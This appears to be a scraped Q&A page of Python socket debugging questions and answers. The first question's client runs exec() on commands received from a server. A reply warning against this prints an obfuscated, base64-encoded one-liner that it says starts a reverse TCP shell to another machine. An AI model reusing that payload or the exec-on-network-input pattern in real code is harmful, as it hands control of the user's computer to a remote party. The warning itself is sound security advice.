python sockets not connecting on two different machines - python

I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?

An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.

Related

Reconnect to server python

I'm trying to connect a client to a serverr. After I connect I want to check do some sort of validation. (checking if I got the massage 'ready') and if not, try to connect again until the server will send 'ready' and not something else.
tcp_sock = socket.socket()
tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcp_sock.bind(('', 7865))
connected = False
while not connected:
tcp_sock.connect(('192.168.0.111', 7865))
if tcp_sock.recv(1024) == b'ready':
connected = True
else:
tcp_sock.close()
if I put tcp_sock.close() after the else, I get this error when connecting again: an operation was attempted on something that is not a socket.
if I put pass instead of tcp_sock.close() (do not close the socket) I get this error when connecting again: Only one usage of each socket address (protocol/network address/port) is normally permitted.
PS. It works without errors without the tcp_sock.bind(('', 7865)) but I have to bind the client to a specific port (here 7865) and I'm using tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) to be able to reconnect again with the server.
How can I reconnect to the server without getting an error?
I think you are doing it correctly but I would suggest you use normal receiveing methods as it'll be easier for python to send and receive data.
CLIENT.py
import socket
import sys
import select
my_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
my_socket.connect(("__YOUR_IP__",7865)) #IMPORTANT
sys.stdout.write('your message: ')
sys.stdout.flush()
while True:
#...
else:
data = my_socket.recv(1024)
print "data" , data
If a TCP connection is not successful connect will throw an error. So handling exceptions from connect method should be enough to check if you are connected.
But if you want to fix this way; your close method also releases the socket therefore you need to define tcp-connect again in the while loop.

Continous receiving & sending on a socket

I'm working on assignment where I need to connect to a server (no details of server are disclosed), capture the reply, modify it and send it back for verification.
I have created following code which does what I need, but the issue is that after 1st correct reply, server sends another.
Code:
# -*- encoding: utf-8 -*-
import socket
from decryptmsg import decryptmsg
from cleanmsg import cleanmsg
#connection
ip="<IP>"
port=4000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip,port))
def recvall(sock):
BUFFER = 8192
data = b''
while True:
part = sock.recv(BUFFER)
data += part
if len(part) < BUFFER:
break
return data
while True:
print "[+] start communication"
data = recvall(sock)
print data
data = cleanmsg(data)
if data != None:
valmis = decryptmsg(str(data))
if valmis == None:
print "[-] no results"
break
else:
print "[+] sending message... "
sock.send(valmis)
continue
When I hit the second question, I get the input captured fine with this code and processed as expected, but when I try to send the 2nd reply back I get error:
Traceback (most recent call last):
File "challenge.py", line 28, in <module>
sock.send(valmis)
socket.error: [Errno 32] Broken pipe
If I do not close or shutdown the socket, no reply is ever sent to server.
How can I tell my client to send the message and wait for reply without socket.shutdown? Or if I need to open new socket for each loop, how should the loop be constructed? The reply from server changes each time so if I open new connection completely and request for data, I get new reply and the process starts from beginning again.
UPDATE:
the issue seems to be when trying to receive the second reply from server, only the first line of message is received by client.
How do you know it does not send anything? I modified your code a bit (there is something odd in the else: clause, I will come back to that later).
import socket
#connection
ip="localhost"
port=4000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip,port))
while True:
data = sock.recv(8192)
if not data: break;
print data
if data != None:
valmis = data
if valmis == None:
print "[-] no results"
break
else:
print "[+] sending message... "
sock.send(valmis) #this never gets sent without
continue
Basically this is a stripped version of your code - no decrypting or external functionality. It just sends back whatever it receives from the server.
Then I ran a "server" with ncat:
ncat -l 4000
start your program and start typing in lines (1, 2, 3, 4 etc) and this happens at "server". The client promptly echoes my messages back:
test#xyzzy:/tmp$ ncat -l 4000
1
1
2
2
3
3
And this happens at the client:
test#xyzzy:/tmp$ python so.py
1
[+] sending message...
2
[+] sending message...
3
[+] sending message...
To me it looks this code works fine. If the server does not receive your reply, it might be that there is a problem on the server side. It might for example expect a terminator character in the response. Does your cleanmsg clean the message too much and for example remove a trailing newline and the server expects to receive one?
There is a problem in your original else clause as you do another sock.recv() there. Which means after receiving a reply, you block there to wait for the next message from server and when you do receive one, you will continue your loop and hit sock.recv() again. The second message was consumed already in your else clause.
This may be intentional if your server somehow acknowledges your decryption. If your protocol is this:
server -> client (request)
client -> server (decrypted message)
server -> client (some kind of acknowledgement - unclear from your code)
server -> client (request 2)
etc.
Then you have probably hit the issue in Jason's comment. TCP sockets are completely agnostic to the concept of a message. They just transmit data. When your code hits sock.recv(), one of five things can happen:
There is nothing in the socket and the call blocks
There is a full "message" and only that in the socket and you receive that
There is a partial message and you will receive that. Either because the message is over 8192 bytes, or your code just decides to read when the server has only transmitted some of the message data.
There are two or more complete "messages" waiting and you will receive them all.
As four, but the last message is partial
Always when operating with TCP sockets, you must cater for scenarios 2-5. You must parse the data, make sure everything is there, and if not, wait for more. And if there was more than you expected, process them accordingly. If they are complete messages, process them. If the last message is partial, process everything else and wait for more.
If messages seem to "disappear" in a self-made communication protocol using TCP sockets, 99% of the problems are caused by making the assumption that sockets would know or care what is the structure of your "message". A very common mistake is to read your socket empty and ignore everything you received after your first message.
Hope this is helpful. Your code without the additional recv seems to work fine from socket communication perspective - no need to shut down the socket. It may be a server side issue, protocol issue or message parsing problem.
For this reason, always have only one recv call for your socket. Even if you are expecting some kind of an acknowledgement instead of a new message, have only one place where you process socket data. Then do some kind of a conditional there to detect what kind of a message you received and then decide what to do with it.

Server disconnecting client when receiving 1 packet string, but not another

I've run in to a strange problem in a multiplayer online game I'm developing.
When the user clicks "Accept Quest" on the client, it performs the following action:
packet = "A:io-QS#"
tcpClient.send(packet.encode('utf-8'))
On the server, there is a thread created for each client that handles sending/receiving data:
while (client[self.id].authenticated == True):
try:
data = (self.connection.recv(1024)).decode('utf-8')
client[self.id].lastPacketTime = time.time()
client[self.id].processData(data)
except:
print("Client disconnected due to data receive error")
client[self.id].saveDataToDatabase()
client[self.id].authenticated = False
client[self.id].loggedIn = False
If the server receives the packet "A:io-QS#", it throws an exception and disconnects the client. I modified the client code mentioned aboe to send the packet "M:w#" (directional movement packet) and it doesn't throw an exception,
Only when the packet is "A:io-QS#".
The packet size isn't a concern (a much larger packet containing login credentials passes through this server loop just fine).
I tried commenting out the "client[self.id].processData(data)" line and the exception still occurs (but only with the packet 'A:io-QS#').
The server throws an exception after receiving the data but before acting upon it, so it's not a logic error.
I'm at a bit of a loss, does anybody see anything I'm missing or have any recommendations on how I could test this issue further?
Thanks!
I suggest using sys.exc_info() in the except block in the server to find more about the exception.

Python sockets recv() issue

I have a socket server running on an Arduino board and am trying to control it via a Python script. Using the basic example socket documentation, I have this:
import socket
import sys
TCP_IP = '192.168.254.100'
TCP_PORT = 5012
BUFFER_SIZE = 1024
MESSAGE = "Status"
# Create a TCP/IP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE)
# data = s.recv(BUFFER_SIZE)
# print (data)
s.close()
sys.exit()
My script works fine when I comment out the lines to receive the response of the server. However, if I attempt to read the response, my server and python script hangs.
On the server side, here is a snippet of what the code looks like:
void loop() {
// listen for incoming clients
client = server.available();
if (client){
Serial.println("Client connected");
while (client.connected()){
// Read the incoming TCP command
String command = ReadTCPCommand(&client);
// Debugging echo command to serial
command.trim();
Serial.println(command);
// Debugging echo command back to client
client.println(command);
// Phrase the command
PhraseTCPCommand(&client, &command);
}
// Stop the client
client.stop();
Serial.println("Client disconnected");
}
}
The library I am utilising for the server is the Arduino WiFi library.
The function PhraseTCPCommand, takes the command and triggers external events with the GPIO pins of the board. This action is performed fine by the Python script when the recv() is commented out. The response string sent from the server is terminated with a newline and carriage return. Could that be causing issues?
Additionally, I am able to connect and receive responses from the server with no issues using either telnet, netcat or PuTTY, which leads me to believe it's something to do with the way my Python script attempts to read the response from the server.
The response string sent from the server is terminated with a newline
and carriage return. Could that be causing issues?
No, what is causing the issue is possibly that the command MESSAGE is not terminated with a newline and the function ReadTCPCommand() expects one. Change to:
MESSAGE = "Status\n"
The issue here could be that your message has not been fully sent, and reflects a common misunderstanding of socket programming. Low level calls such as send do not promise to send the full message. Instead the caller must check the number of bytes actually sent (from the return value) and continue to iteratively call the function until the full message is sent.
In general, a bare send call without such iteration is a mistake.
Python does provides a higher level function socket.sendall however that will perform this job for you.

Python Socket (Simple server script)

I have this simple server script. My objective for this script is :
Wait for a client connection
Receive massages from client until the client disconnect
Once client disconnect, wait for another client to connect
Receive massages until the client disconnect
Repeat...
import socket
server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_socket.bind(("",5000))
server_socket.listen(5)
print "Awaiting Client connection"
client_socket, address =server_socket.accept()
print "Connection established.. with ",address
while True:
data=client_socket.recv(512)
if not data:
client_socket.close()
print "Client disconnected, Awaiting new connections..."
client_socket, address =server_socket.accept()
print "Connection from ",address
else:
print "RECIEVED:",data
My Question is even though the script seems to be working when i test it on a pair of pc, i noticed that after it received the connection from the client, that is line no 7
print "Connection established.. with ",address
the python shell window seems unresponsive (become not responding if i try to move the shell window) until the client send any message.
As far as i understand, if there is no incoming message from client, client_socket.recv(512) will just wait for the data from the client.
But why it became unresponsive?
To make things clearer,
-the script works just fine ( it receive data and print it out from screen & wait for the new connection if client disconnect)
-the cursor in console windows stop blinking
-when i try to move the console window around , it become unresponsive and windows give me a message "this program has stopped responding"
Basically, you script blocks on the accept call that is present after this line :
print "Client disconnected, Awaiting new connections..."
The accept call will return only when a particular client has attempted to connect to server. That is when your script will continue execution to the next line. This is the reason why you would see a message like This program is not responding in Windows.
You could consider the use of non-blocking socket I/O approach in order to ensure that your script is responsive.
Refer to this link for description of blocking and non-blocking calls. Also you can refer to this question to understand how to implement Non-blocking sockets in Python - and of course there are plenty of web resources too.
Hope this helps

Categories